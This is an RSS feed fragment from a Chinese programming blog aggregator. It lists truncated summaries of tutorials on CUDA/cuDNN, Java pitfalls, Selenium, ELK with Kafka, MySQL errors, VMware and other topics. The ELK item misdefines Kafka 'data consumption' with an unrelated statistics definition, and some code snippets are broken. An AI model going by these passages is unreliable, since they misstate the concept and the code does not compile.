      <link>https://bchobby.github.io/posts/b660f82b244c6aa77e68e13aafa8b1eb/</link>
      <pubDate>Tue, 09 May 2023 21:59:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b660f82b244c6aa77e68e13aafa8b1eb/</guid>
      <description>目录&#xA;简单解释几个函数：&#xA;1、记录最高分的函数&#xA;2、 隐藏光标&#xA;3、初始化蛇身&#xA;4、播放背景音乐的函数&#xA;完整代码如下：&#xA;运行界面显示：&#xA;█ 开发工具：Dev C++&#xA;简单解释几个函数： 1、记录最高分的函数 分为读取和储存，即分为 File_out() 和 File_in()；&#xA;/** * 储存最高分进文件 */ void File_in() { FILE *fp; fp = fopen(&#34;save.txt&#34;, &#34;w+&#34;); //以读写的方式建立一个名为save.txt的文件 fprintf(fp, &#34;%d&#34;, score); //把分数写进文件中 fclose(fp); //关闭文件 } /** * 在文件中读取最高分 */ void File_out() { FILE *fp; fp = fopen(&#34;save.txt&#34;, &#34;a+&#34;); //打开文件save.txt fscanf(fp, &#34;%d&#34;, &amp;amp;HighScore); //把文件中的最高分读出来 fclose(fp); //关闭文件 } ✔ 文件中写入数据的步骤，首先使用fopen（）方法来打开文件，如果要打开的文件不存在，那么创建此文件；然后通过fprintf（）方法把数据写入文件；最后使用fclose（）方法关闭文件。&#xA;2、 隐藏光标 //隐藏光标 void HideCursor() { CONSOLE_CURSOR_INFO curInfo; //定义光标信息的结构体变量 curInfo.</description>
    </item>
    <item>
      <title>理清GPU、CUDA、CUDA Toolkit、cuDNN关系以及下载安装</title>
      <link>https://bchobby.github.io/posts/52cb2c897af06e1237695be5b28bcb2c/</link>
      <pubDate>Tue, 09 May 2023 20:15:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52cb2c897af06e1237695be5b28bcb2c/</guid>
      <description>介于在服务器上安装Nvidia、CUDA、cuDNN等等，对各自的概念以及它们之间存在的关系一直不够清晰，借此机会，整理相关内容于此，若有错误望指正，评论多交流&#xA;目录 GPU显卡驱动DriverCUDACUDA ToolkitNVCCcuDNNCUDA Toolkit和 显卡驱动 的版本对应CUDA / CUDA Toolkit和cuDNN的版本对应显卡驱动程序的选择nvidia-smi 和 nvcc 结果的版本为何不一致使用conda命令安装pytorch时候cudatoolkit的版本是哪个？CUDA多版本切换/管理方式写在最后（一定要看嗷！） GPU 显卡是我们平时说的GPU，现在大多数的电脑使用NVIDIA公司生产的显卡；常见的型号有Tesla V100，GTX950M，GTX1050TI，GTX1080等。&#xA;显卡驱动Driver 特指NVIDIA的显卡驱动程序。&#xA;CUDA CUDA是显卡厂商NVIDIA推出的运算平台。CUDA™是一种由NVIDIA推出的通用并行计算架构，是一种并行计算平台和编程模型，该架构使GPU能够解决复杂的计算问题。CUDA英文全称是Compute Unified Device Architecture。&#xA;有人说：CUDA是一门编程语言，像C,C++,python 一样，也有人说CUDA是API。&#xA;官方说：CUDA是一个并行计算平台和编程模型，能够使得使用GPU进行通用计算变得简单和优雅。&#xA;运行CUDA应用程序要求系统至少具有一个具有CUDA功能的GPU和与CUDA Toolkit兼容的驱动程序。&#xA;查看CUDA版本命令：nvcc -V 或nvcc --version或cat /usr/local/cuda/version.txt&#xA;需要知道：CUDA和CUDA Driver显卡驱动不是一一对应的，比如同一台电脑上可同时安装CUDA 9.0、CUDA 9.2、CUDA 10.0等版本。&#xA;CUDA Toolkit CUDA工具包的主要包含了CUDA-C和CUDA-C++编译器、一些科学库和实用程序库、CUDA和library API的代码示例、和一些CUDA开发工具。（通常在安装CUDA Toolkit的时候会默认安装CUDA Driver；但是我们经常只安装CUDA Driver，没有安装CUDA Toolkit，因为有时不一定用到CUDA Toolkit；比如我们的笔记本电脑，安装个CUDA Driver就可正常看视频、办公和玩游戏了）&#xA;详细内容见NVIDIA官方&#xA;NVCC NVCC就是CUDA的编译器,可以从CUDA Toolkit的/bin目录中获取,类似于gcc就是c语言的编译器。由于程序是要经过编译器编程成可执行的二进制文件，而cuda程序有两种代码，一种是运行在cpu上的host代码，一种是运行在gpu上的device代码，所以nvcc编译器要保证两部分代码能够编译成二进制文件在不同的机器上执行。&#xA;cuDNN cuDNN的全称为NVIDIA CUDA® Deep Neural Network library，是NVIDIA专门针对深度神经网络中的基础操作而设计基于GPU的加速库。cuDNN为深度神经网络中的标准流程提供了高度优化的实现方式，例如convolution、pooling、normalization以及activation layers的前向以及后向过程。&#xA;CUDA这个平台一开始并没有安装cuDNN库，当开发者们需要用到深度学习GPU加速时才安装cuDNN库，工作速度相较CPU快很多。&#xA;CUDNN是基于CUDA的深度学习GPU加速库，有了它才能在GPU上完成深度学习的计算；&#xA;来自知乎的解释：CUDA看作是一个工作台，上面配有很多工具，如锤子、螺丝刀等。cuDNN是基于CUDA的深度学习GPU加速库，有了它才能在GPU上完成深度学习的计算。它就相当于工作的工具，比如它就是个扳手。但是CUDA这个工作台买来的时候，并没有送扳手。想要在CUDA上运行深度神经网络，就要安装cuDNN，就像你想要拧个螺帽就要把扳手买回来。这样才能使GPU进行深度神经网络的工作，工作速度相较CPU快很多。&#xA;基本上所有的深度学习框架都支持cuDNN这一加速工具，例如：Caffe、Caffe2、TensorFlow、Torch、Pytorch、Theano等。&#xA;Caffe可以通过修改Makefile.config中的相应选项来修改是否在编译Caffe的过程中编译cuDNN，如果没有编译cuDNN的话，执行一些基于Caffe这一深度学习框架的程序速度上要慢3-5倍（Caffe官网上说不差多少，明明差很多嘛）。Caffe对cuDNN的版本不是很严格，只要大于cuDNN 4就可以。&#xA;查看cuDNN版本：cat /usr/local/cuda/include/cudnn.h | grep CUDNN_MAJOR -A 2</description>
    </item>
    <item>
      <title>如何写好日常代码以及一些常见的坑</title>
      <link>https://bchobby.github.io/posts/a86d90672e833de374afd21341ee8190/</link>
      <pubDate>Tue, 09 May 2023 19:44:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a86d90672e833de374afd21341ee8190/</guid>
      <description>1、方法命名潜在的坑&#xA;1.1、案例伪代码示例&#xA;@Data public class Order { private String customerName; private BigDecimal totalAmount; private String statusCode; private static final String payingStatus = &#34;paying&#34;; /** * 是否支付中 * * OrderInfo#verifyOrderPaymentStatus * @return */ public boolean isPaying(){ return statusCode.equals(payingStatus); } } public static void main(String[] args) { Order order = new Order(); // 这里会报空指针异常 System.out.println(JSON.toJSONString(order)); } 1.2、问题和改进建议&#xA;在三层架构下，我们通常将原来很多本该属于对象的行为的方法写在Service上，这种方式相比DDD我们称之为贫血模型，但是随着DDD越来越流行，大家都开始接受DDD充血模型去写代码，充血模型其实就是回归到面向对象（OOP），将原来属于对象Bean的行为方法写回到该对象去，但是对象Bean通常作为打印关键业务日志的主要数据对象，这里对于行为方法命名就要小心，除了本身Bean的getter、setter方法外，其它带逻辑性的行为不要用 get\set\is 开头，否则打印日志json序列化（JSON.toJSONString(...)）默认会执行get\set\is 开头的方法，业务逻辑方法通常在特定场景下确保字段都有数据的情况下被调用，但是在打印日志时可能这些字段存在为null的情况，会导致报空指针，如果一定要这么命名，建议在方法上注解JSON序列化忽略标记上去，而且不同的JSON框架忽略注解都不同，这种方式可以避免但是会使代码变得很不优雅。&#xA;2、查询类API最佳实践&#xA;2.1、案例伪代码示例&#xA;@RestController public class QueryApiController { @GetMapping(&#34;/getOrderByCustomerCode&#34;) public R getOrderByCustomerCode(@RequestParam(&#34;</description>
    </item>
    <item>
      <title>halcon获取窗口图像</title>
      <link>https://bchobby.github.io/posts/c20d3e1128d1082d0e6ec4e53bf4e8ca/</link>
      <pubDate>Tue, 09 May 2023 18:59:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c20d3e1128d1082d0e6ec4e53bf4e8ca/</guid>
      <description> </description>
    </item>
    <item>
      <title>树的基础算法总结</title>
      <link>https://bchobby.github.io/posts/f5cd5c2fedc6684f79326e80d04b0fc8/</link>
      <pubDate>Tue, 09 May 2023 17:04:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5cd5c2fedc6684f79326e80d04b0fc8/</guid>
      <description>树的遍历算法 二叉树结点&#xA;static class TreeNode { int val; TreeNode left; TreeNode right; TreeNode(int x) { val = x; } } N叉树结点&#xA;static class Node { public int val; public List&amp;lt;Node&amp;gt; children; public Node() {} public Node(int _val) { val = _val; } public Node(int _val, List&amp;lt;Node&amp;gt; _children) { val = _val; children = _children; } } 二叉树遍历 先序中序后序&#xA;递归 和 非 递归 算法&#xA;【注， 后序的非递归算法 和 先序 思路相反】 import java.</description>
    </item>
    <item>
      <title>在vue中引入高德地图</title>
      <link>https://bchobby.github.io/posts/c785ed8f725eaf2981c81bf3f11e75b2/</link>
      <pubDate>Tue, 09 May 2023 11:47:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c785ed8f725eaf2981c81bf3f11e75b2/</guid>
      <description>既然要用到高德地图首先要申请成为高德地图开发者，并申请使用高德地图的key这两点在这篇文章就不过多赘述，有需要的小伙伴可以查查资料，或者去高德地图api官网都有很详细的介绍。高德地图官网&#xA;简单提一下申请秘钥流程（web端）&#xA;控制台–&amp;gt;应用管理–&amp;gt;我的应用&#xA;好啦！步入正题，在vue项目中引入高德地图&#xA;一、下载依赖 npm 安装：&#xA;npm i @amap/amap-jsapi-loader --save&#xA;或者 yarn 安装：&#xA;yarn add @amap/amap-jsapi-loader --save&#xA;二、封装一个地图组件myamap.vue 引入 AMapLoader import AMapLoader from ‘@amap/amap-jsapi-loader’;&#xA;引入安全秘钥（2021年12月02日后申请的key需要这一步） &amp;lt;script&amp;gt; window._AMapSecurityConfig = { securityJsCode: &#39;&#39; // &#39;「申请的安全密钥」&#39;, } &amp;lt;/script&amp;gt; 初始化地图 methods: { initAMap () { AMapLoader.load({ key: &#34;&#34;, // 申请好的Web端开发者Key，首次调用 load 时必填 version: &#34;2.0&#34;, // 指定要加载的 JSAPI 的版本，缺省时默认为 1.4.15 plugins: [&#34;AMap.Scale&#34;, &#34;AMap.ToolBar&#34;, &#34;AMap.ControlBar&#34;, &#39;AMap.Geocoder&#39;, &#39;AMap.Marker&#39;, &#39;AMap.CitySearch&#39;, &#39;AMap.Geolocation&#39;, &#39;AMap.AutoComplete&#39;, &#39;AMap.InfoWindow&#39;], // 需要使用的的插件列表，如比例尺&#39;AMap.Scale&#39;等 }).then((AMap) =&amp;gt; { // 获取到作为地图容器的DOM元素，创建地图实例 this.</description>
    </item>
    <item>
      <title>Proteus 8 Professional 编译C51程序报L121错误的解决方法</title>
      <link>https://bchobby.github.io/posts/ec8ac4f926fa3f3e67e68895b83342b2/</link>
      <pubDate>Tue, 09 May 2023 10:47:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec8ac4f926fa3f3e67e68895b83342b2/</guid>
      <description>在Proteus 8 Professional 编译C51程序报如下错误信息：&#xA;*** ERROR L121: IMPROPER FIXUP MODULE: MAIN.OBJ (MAIN) SEGMENT: ABSOLUTE OFFSET: 0023H 【解决的方案】&#xA;将ROM改为LARGE&#xA;【修改完成后编译成功！！！】</description>
    </item>
    <item>
      <title>Selenium环境安装配置，webdriver配置</title>
      <link>https://bchobby.github.io/posts/0b6d2ab04c2d79de96f2fedb92497968/</link>
      <pubDate>Tue, 09 May 2023 10:01:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b6d2ab04c2d79de96f2fedb92497968/</guid>
      <description>安装Selenium环境 项目环境下&#xA;pip install selenium 配置 ChromeDriver 根据自己的chrome浏览器版本，查看版本：设置-&amp;gt;关于Chrome&#xA;ChromeDriver下载地址：https://chromedriver.storage.googleapis.com/index.html&#xA;windows 配置chromedriver&#xA;下载和自己浏览器版本相对应的ChromeDriver，将chromedriver.exe所在路径配置到环境变量的 Path 中 重启命令行，输入：chromedriver --version出现chromedriver版本信息则配置成功 配置chrome&#xA;复制chrome浏览器的安装地址，找到chrome浏览器图标-&amp;gt;右键-&amp;gt;属性，复制“起始位置”的地址，配置到 Path 中 如下图所示：&#xA;MAC 配置chromedriver&#xA;进入命令行工具，确定当前的 SHELL 环境：echo $SHELL&#xA;根据自己的SHELL环境选择执行命令：&#xA;如果显示/bin/bash，则 vim ~/.bash_profile如果显示 /bin/zsh，则 ‘vim ~/.zshrc’ 在文件中添加：export PATH=$PATH:[chromedriver所在路径]&#xA;重启命令行工具&#xA;命令行输入 chromedriver 验证是否配置成功&#xA;image1217×274 99.8 KB&#xA;配置Chrome&#xA;复制chrome浏览器的安装地址，找到chrome浏览器图标-&amp;gt;右键-&amp;gt;属性，复制“起始位置”的地址&#xA;配置文件中添加：export PATH=$PATH:[chrome所在路径]&#xA;下载 selenium-idx.crx 插件 下载地址：https://download.ceshiren.com/webauto/Selenium_IDE.crx&#xA;打开chrome浏览器的开发者模式&#xA;将 selenium-idx.crx 文件添加到扩展程序中，Chrome浏览器 → 设置 → 扩展程序，将文件拖入扩展程序中进行安装</description>
    </item>
    <item>
      <title>使用ELK（Elasticsearch、Logstash、Kibana）和Kafka实现微服务统一日志管理</title>
      <link>https://bchobby.github.io/posts/370aa2c0ef95288223353c9a7a9e1c8d/</link>
      <pubDate>Tue, 09 May 2023 09:08:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/370aa2c0ef95288223353c9a7a9e1c8d/</guid>
      <description>由于传统的单体应用时代，大多数应用采用的是通过登录SSH客户端登服务器查看，使用less或者tail等指令。&#xA;使用ELK（Elasticsearch、Logstash、Kibana）和Kafka实现微服务统一日志管理，可以通过以下几个步骤来完成：&#xA;部署Kafka集群：首先需要部署一个Kafka集群，它将作为中间件来缓冲数据，确保高效的日志传输和处理。可以选择在Kubernetes中部署这些组件以实现容器化管理[2]。&#xA;部署ELK集群：在系统中部署Elasticsearch、Logstash和Kibana三个组件，搭建ELK日志系统。其中，Elasticsearch负责日志数据的存储与检索，Logstash负责从Kafka消费数据并将数据传输到Elasticsearch，Kibana则负责从Elasticsearch中读取日志数据并进行可视化展示[6]。&#xA;日志采集：可以使用Filebeat或者其他日志采集器收集微服务的日志数据，然后将数据发送到Kafka中[1]。&#xA;配置Logstash：配置Logstash以从Kafka消费数据，并将消费后的数据写入到Elasticsearch进行存储[4]。&#xA;使用Kibana进行日志查看与分析：在Kibana中创建索引模式，以便在Discover功能中查看和分析Elasticsearch中存储的日志数据。通过Kibana的Dashboard功能，可以进一步定制可视化面板，以便更直观地查看和分析日志数据[11]。&#xA;高可用性：为确保整个日志系统的高可用性，可以将Logstash、Elasticsearch和Kafka都通过集群模式进行构建[1]。&#xA;通过以上步骤，可以实现微服务统一日志管理的搭建。具体实施时，可以根据实际项目需求以及硬件资源进行相应的调整。&#xA;第四点中提到的什么是数据消费？&#xA;数据消费是一种以统计数据产品和统计数据服务为消费对象的消费活动，是比较特殊的信消息费用形式，是社会消费的重要组成部分。它是统计数据生产的目标和动力，是统计工作最终目标的体现。&#xA;1.1 最简单的ELK架构如下图：&#xA;1.2 引入kafka的典型ELK架构&#xA;为保证日志传输数据的可靠性和稳定性，引入Kafka作为消息缓冲队列，位于各个节点上的Logstash Agent（一级Logstash，主要用来传输数据）先将数据传递给消息队列，接着，Logstash server（二级Logstash，主要用来拉取消息队列数据，过滤并分析数据）将格式化的数据传递给Elasticsearch进行存储。最后，由Kibana将日志和数据呈现给用户。由于引入了Kafka缓冲机制，即使远端Logstash server因故障停止运行，数据也不会丢失，可靠性得到了大大的提升。&#xA;相比于最简单ELK架构优点：&#xA;Kafka+ELK&#xA;该架构优点在于引入了消息队列机制，提升日志数据的可靠性，但依然存在Logstash占用系统资源过多的问题，在海量数据应用场景下，可能会出现性能瓶颈。&#xA;1.3 FileBeats+Kafka+ELK集群架构&#xA;该架构从上面架构基础上改进而来的，主要是将前端收集数据的Logstash Agent换成了filebeat，消息队列使用了kafka集群，然后将Logstash和Elasticsearch都通过集群模式进行构建，完整架构如图所示：&#xA;FileBeats+Kafka+ELK集群架构&#xA;日志采集器Logstash其功能虽然强大，但是它依赖java、在数据量大的时候，Logstash进程会消耗过多的系统资源，这将严重影响业务系统的性能，而filebeat就是一个完美的替代者，它基于Go语言没有任何依赖，配置文件简单，格式明了，同时filebeat比logstash更加轻量级，所以占用系统资源极少，非常适合安装在生产机器上。这就是推荐使用filebeat，也是 ELK Stack 在 Agent 的第一选择。&#xA;此架构适合大型集群、海量数据的业务场景，它通过将前端Logstash Agent替换成filebeat，有效降低了收集日志对业务系统资源的消耗。同时，消息队列使用kafka集群架构，有效保障了收集数据的安全性和稳定性，而后端Logstash和Elasticsearch均采用集群模式搭建，从整体上提高了ELK系统的高效性、扩展性和吞吐量。我所在的项目组采用的就是这套架构，由于生产所需的配置较高，且涉及较多持久化操作，采用的都是性能高配的云主机搭建方式而非时下流行的容器搭建。</description>
    </item>
    <item>
      <title>MyBatis-Plus封装抽取多个xxxMapper类作为方法参数</title>
      <link>https://bchobby.github.io/posts/137c6ccc2b801158fca8210efcbe4d7f/</link>
      <pubDate>Tue, 09 May 2023 07:52:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/137c6ccc2b801158fca8210efcbe4d7f/</guid>
      <description>抽取出来的方法：&#xA;public void testBaseMapper(String fix, Object reachGoalMapper) { int count = ((BaseMapper&amp;lt;Object&amp;gt;)reachGoalMapper).selectCount(new QueryWrapper&amp;lt;Object&amp;gt;().eq(&#34;reach_id&#34;, 1)); ReachGoalTemp reachGoalTemp = new ReachGoalTemp; if (count &amp;lt; 1) { Object rg = null; switch (fix) { case &#34;2&#34;: reachGoalTemp.setDm(&#34;2222222&#34;); rg = new ReachGoal2(); break; case &#34;3&#34;: reachGoalTemp.setDm(&#34;33333&#34;); rg = new ReachGoal3(); break; case &#34;4&#34;: reachGoalTemp.setDm(&#34;444444&#34;); rg = new ReachGoal4(); break; } BeanUtils.copyProperties(reachGoalTemp, rg); ((BaseMapper&amp;lt;Object&amp;gt;)reachGoalMapper).insert(rg); } } BeanUtils是：org.springframework.beans.BeanUtils，用来复制属性值&#xA;Controller层调用：&#xA;@Resource ReachGoalService reachGoalService; @Resource ReachGoal2Mapper reachGoal2Mapper; @Resource ReachGoal3Mapper reachGoal3Mapper; @GetMapping(&#34;</description>
    </item>
    <item>
      <title>sqlalchemy.exc.operationalerror: (pymysql.err.operationalerror) (1045, 报错 （已解决）</title>
      <link>https://bchobby.github.io/posts/58c6732e0f14a6a08ad1c878175d4363/</link>
      <pubDate>Tue, 09 May 2023 00:07:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58c6732e0f14a6a08ad1c878175d4363/</guid>
      <description>sqlalchemy.exc.operationalerror: (pymysql.err.operationalerror) (1045, &#34;access denied for user &#39;root&#39;@&#39;localhost&#39; (using password: yes)&#34;) 代码如下：&#xA;报错如下：&#xA;报错分析：&#xA;1.密码错误 2. 字符编码 错误 3.版本问题 ,4 权限问题&#xA;1.密码错误：&#xA;可以通过 cmd 尝试登入mysql 如果可以登入可以排除 mysql -u root -p 2.字符编码错误解决方式（很少这种情况）：&#xA;# SQLALCHEMY_DATABASE_URI = &#34;mysql+pymysql://root:Password123$@localhost:3306/Graduationdesign?charset=utf8&#34;&#xA;设置编码： ？charset=utf8&#xA;3.版本问题,也就是我这个问题，这个bug搞了我一下午 ，想着换个版本试一下结果就可以了&#xA;原因可能是：mysql8 版本 与 mysql 5版本的密码加密插件不同的原因：&#xA;为了提供更安全的密码加密，&#xA;MySQL8.0的首选默认认证插件是caching_sha2_password，&#xA;而不是mysql_native_password&#xA;解决方法1：.使用mysql 5.7 版本 2：ALTER USER &#39;root&#39;@&#39;localhost&#39; IDENTIFIED WITH mysql_native_password BY &#39;password&#39;;&#xA;修改验证方式&#xA;4.访问权限 ,用户只允许在本地连接，修改成指定ip 或者 % 如：&#xA;mysql -u root -p&#xA;use mysql ；</description>
    </item>
    <item>
      <title>vivado添加winbond flash</title>
      <link>https://bchobby.github.io/posts/d77470d6a3cdae985e494cb0c45482d4/</link>
      <pubDate>Mon, 08 May 2023 23:27:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d77470d6a3cdae985e494cb0c45482d4/</guid>
      <description>修改C:\Xilinx\Vivado\2019.2\data\xicom\xicom_cfgmem_part_table.csv文件，在最末尾添加&#xA;CFGMEM_IDHIDDENNAMECOMPATIBLE_DEVICESMEM_DEVICEMEM_TYPEMEM_DENSITYDATA_WIDTHCOMPATIBLE_RS_PINSMEM_MANUFACTURERMEM_INTERFACE_FILENUM_CFG_FILESMEM_DEVICE_ALIASMEM_FAMILY8030w25q128bv-spi-x1_x2_x4#NAME?w25q128bvspi128x1_x2_x4Winbond1w25q128bvw25q 803是紧跟上一个设备的id序号，根据需要填写。</description>
    </item>
    <item>
      <title>Java学习路线总结，搬砖工逆袭Java架构师</title>
      <link>https://bchobby.github.io/posts/e6ab897650d0a6170fc73b4aa4165dc4/</link>
      <pubDate>Mon, 08 May 2023 23:25:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6ab897650d0a6170fc73b4aa4165dc4/</guid>
      <description>🏆作者简介：哪吒，CSDN2022博客之星Top1、CSDN2021博客之星Top2、多届新星计划导师✌、博客专家💪&#xA;，专注Java硬核干货分享，立志做到Java赛道全网Top N。&#xA;🏆本文收录于，Java基础教程系列，目前已经700+订阅，CSDN最强Java专栏，包含全部Java基础知识点、Java8新特性、Java集合、Java多线程、Java代码实例，理论结合实战，实现Java的轻松学习。&#xA;🏆姐妹篇，Java基础教程（入门篇），包含面向对象、基本数据类型、数组、继承和多态、泛型、枚举等Java基础知识点。&#xA;🏆姐妹进阶篇，Java基础教程（进阶篇），包含Java高并发、Spring、MySQL等Java进阶技术栈。&#xA;🏆全部订阅后，可加入Java学习星球，完成Java从入门、实战、进阶全方位的Java知识体系学习。&#xA;前情提要 无意间听到领导们的谈话，现在公司的现状是码农太多，但能独立带队的人太少，简而言之，不缺干活的，缺PM。&#xA;也许这也是这个行业的现状，也是传说中的“35岁危机”的最好解释，如果你马上35岁了，但是你能干的，毕业生也能干，老板还要你作甚？&#xA;最近也有很多好友在群里问我，Java知识体系庞大，按照什么顺序学习才是最高效的呢？&#xA;目录&#xA;前情提要&#xA;一、JavaSE&#xA;1、Java基础&#xA;2、java集合&#xA;3、Java高并发&#xA;4、Java8新特性&#xA;5、Java代码实例&#xA;二、javaweb&#xA;三、数据库&#xA;四、Spring + SpringMVC + MyBatis&#xA;五、Spring Boot&#xA;六、Redis&#xA;七、目标检测YOLO&#xA;八、各种中间件技术&#xA;九、Netty&#xA;十、数据结构与算法&#xA;十一、JVM&#xA;十二、设计模式&#xA;十三、Linux&#xA;十四、SpringCloud&#xA;十五、JavaScript&#xA;十六、Vue&#xA;十七、计算机网络&#xA;十八、性能调优&#xA;十九、系统设计&#xA;二十、各种技术的相关源码分析&#xA;二十一、计算机理论&#xA;二十二、读书笔记&#xA;1、重构 改善既有代码的设计&#xA;2、【编写高质量代码：改善Java程序的151个建议】&#xA;3、深入理解Java虚拟机&#xA;二十二、高频面试题&#xA;二十三、未来期许&#xA;一、JavaSE 1、Java基础 华为OD机试（2022&amp;amp;2023）真题目录 + 考点 + 复盘思路Java学习路线总结（思维导图篇）【Java基础知识 1】Java入门级概述【Java基础知识 2】配置java环境变量【Java基础知识 3】为何要配置环境变量？【Java基础知识 4】秒懂数组拷贝，感知新境界【Java基础知识 5】装箱和拆箱【Java基础知识 6】Java异常详解【Java基础知识 7】toString()、String.valueOf、(String)强转【Java基础知识 8】String、StringBuilder、StringBuffer详解【Java基础知识 9】序列化与反序列化【Java基础知识 9.1】Java序列化与反序列化（重写版）【Java基础知识 10】Java IO流详解【Java基础知识 11】Java泛型详解【Java基础知识 12】Java枚举详解【Java基础知识 13】Java注解详解【Java基础知识 14】Java动态代理【Java基础知识 15】Java反射机制【Java基础知识 16】java内部类详解【Java基础知识 17】聊一聊同步代码块【Java基础知识 18】通过FileUtils.</description>
    </item>
    <item>
      <title>新建一台VMware虚拟机</title>
      <link>https://bchobby.github.io/posts/2d79947e97eb9f98756bb5a3f48b925f/</link>
      <pubDate>Mon, 08 May 2023 23:24:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d79947e97eb9f98756bb5a3f48b925f/</guid>
      <description>文章目录 前言一、问题二、步骤1.确认已安装VMware Workstation，已下载Windows 10 光盘镜像2.新建虚拟机pc13.自定义虚拟机pc1的硬件 总结 前言 新建一台VMware虚拟机。&#xA;一、问题 本例要求在VMware Workstation软件中创建一台新虚拟机，相关说明如下。&#xA;确认已安装好VMware Workstation虚拟化软件（可以从VMware官网https://www.vmware.com/cn.html获取Workstation Pro安装文件）新建一台VMware虚拟机：系统选型Windows 10 x64，虚拟机名称 pc1，固件类型 BIOS、内存 2048MB，网卡默认NAT，IDE接口硬盘 500GB自定义虚拟机硬件，连接Windows10光盘镜像 二、步骤 1.确认已安装VMware Workstation，已下载Windows 10 光盘镜像 2.新建虚拟机pc1 启动新建虚拟机向导&#xA;打开VMware Workstation虚拟机程序，单击菜单项“文件”–&amp;gt;“新建虚拟机”，即可看到“新建虚拟机”向导程序。&#xA;配置新虚拟机&#xA;在“欢迎使用新建虚拟机向导”界面，选择“自定义（高级）”，单击“下一步”。在“选择虚拟机硬件兼容性”界面，直接单击“下一步”。&#xA;在“安装客户机操作系统”界面，选择“稍后安装操作系统”，单击“下一步”。&#xA;在“选择客户机操作系统”界面，单选“Microsoft Windows（W）”，版本“Windows 10 x64” ，单击“下一步”。&#xA;在“命名虚拟机”界面，指定虚拟机名称“pc1”、存放位置“d:\vm\pc1” ，单击“下一步”。&#xA;注：一台windows10虚拟机需要至少20GB的硬件空间，所以虚拟机最好保存在非c盘的位置，并且保证剩余空间充足。&#xA;在“固件类型”界面，选择“BIOS”，单击“下一步”。&#xA;注：BIOS（Basic Input Output System），中文含义“基本输入输出系统”，是传统的电脑引导方式，支持32位老系统。UEFI（Unifed Extensible Firmware Interface），中文含义“统一的可扩展固件接口”，支持大硬盘、引导速度更快。&#xA;在“处理器配置”界面，按默认处理器数量和内核数量 ，单击“下一步”。&#xA;注：此处按默认即可，和物理电脑本身配置有关，有时默认为1处理器数量，每个处理器的内核数量为1。&#xA;在“此虚拟机的内存”界面，调整内存大小为：2048MB，单击“下一步”。&#xA;在“网络类型”界面，选择“使用网络地址转换(NAT)”，单击“下一步”。&#xA;在“选择I/O控制器类型”界面，按默认“LSI Logic SAS”，单击“下一步”。&#xA;在“选择磁盘类型”界面，按推荐选择，单击“下一步”。&#xA;在“选择磁盘”界面，选择“创建新虚拟磁盘”，单击“下一步”。&#xA;在“指定磁盘容量”界面，修改“最大磁盘大小”为500G，选择“将虚拟磁盘存储为单个文件”，单击“下一步”。&#xA;在“指定磁盘文件”界面，按默认文件名，单击“下一步”。&#xA;确认虚拟机配置，完成新虚拟机的创建。&#xA;3.自定义虚拟机pc1的硬件 修改虚拟机的光盘属性&#xA;单击 虚拟机设备栏的“CD/DVD（SATA） 自动检测”，在“虚拟机设置”对话框右侧“连接”处，选择“使用ISO映像文&#xA;件”，单击“浏览”找到对应的ISO文件，确定即可。&#xA;修改虚拟机的固件类型&#xA;可以自定义修改虚拟机的硬件（添加或者移除）</description>
    </item>
    <item>
      <title>Visual Studio 2022基础使用操作总结</title>
      <link>https://bchobby.github.io/posts/03157bf6bf6e5fd51edad27b128d0a71/</link>
      <pubDate>Mon, 08 May 2023 20:44:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03157bf6bf6e5fd51edad27b128d0a71/</guid>
      <description>快速导航 1. 创建项目第一步：双击创建新项目第二步：双击空项目第三步：输入项目信息第四步：右键源文件添加新建项第五步：修改文件名和后缀 2. 认识视图窗口3. 运行程序4. 界面设置4.1 设置主题1. 系统自带主题2. 引入外部主题 4.2 设置字体 5. 编写多个项目5. 编写多个源文件6. 打开前项目1. 途径一2. 途径二 1. 创建项目 .c和.cpp源文件都按如下流程创建 第一步：双击创建新项目 第二步：双击空项目 第三步：输入项目信息 第四步：右键源文件添加新建项 第五步：修改文件名和后缀 如果是.c源文件，则把cpp改为c如果是.cpp源文件，则采用默认cpp即可&#xA;2. 认识视图窗口 菜单栏的每一个子菜单都有相应的功能，顾名思义，去寻找需要设置、调试的选项&#xA;3. 运行程序 为了养成好习惯，需要手动保存源文件，然后可以使用快捷键 “ctrl+F5” 快速运行，并不进行调试。&#xA;4. 界面设置 4.1 设置主题 通过工具中的主题，选择一个颜色主题实现主题设置；或者从外部下载并安装主题，再进行选择一个颜色主题。 1. 系统自带主题 选择工具中的主题，选择一个颜色主题 2. 引入外部主题 选择扩展中的管理扩展，在搜索框中搜索目标主题，下载安装然后工具选项卡中的主题，会新增自定义安装的颜色主题，选择一个颜色主题 4.2 设置字体 可以通过工具中的字体和颜色子选项来选择 consolas 等加宽字体，并设置合适的字号。 5. 编写多个项目 在一个解决方案中右键选择添加多个新建项目，运行新建项目需要设置对应项目为启动项目。 5. 编写多个源文件 同一个项目中，可以添加多个源文件，但只能编写一个main函数，其他源文件中的main函数需要改名才能运行 6. 打开前项目 有两种打开前项目的方法：途径一是双击目标项目的 .sln 文件，途径二是从“最近使用的项目和解决方案”选择目标项目 1. 途径一 方法一，打开以前开发的项目，找到目标文件夹中的.sln文件，双击用VS2022打开，这种方式可以避免打开的文件出现杂项文件的情况 2. 途径二 方式二，可以在文件中找到“最近使用的项目和解决方案”，选择目标项目</description>
    </item>
    <item>
      <title>PFC2D学习笔记——geometry的使用</title>
      <link>https://bchobby.github.io/posts/c59a79f90d8c89f369b195486f012419/</link>
      <pubDate>Mon, 08 May 2023 20:23:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c59a79f90d8c89f369b195486f012419/</guid>
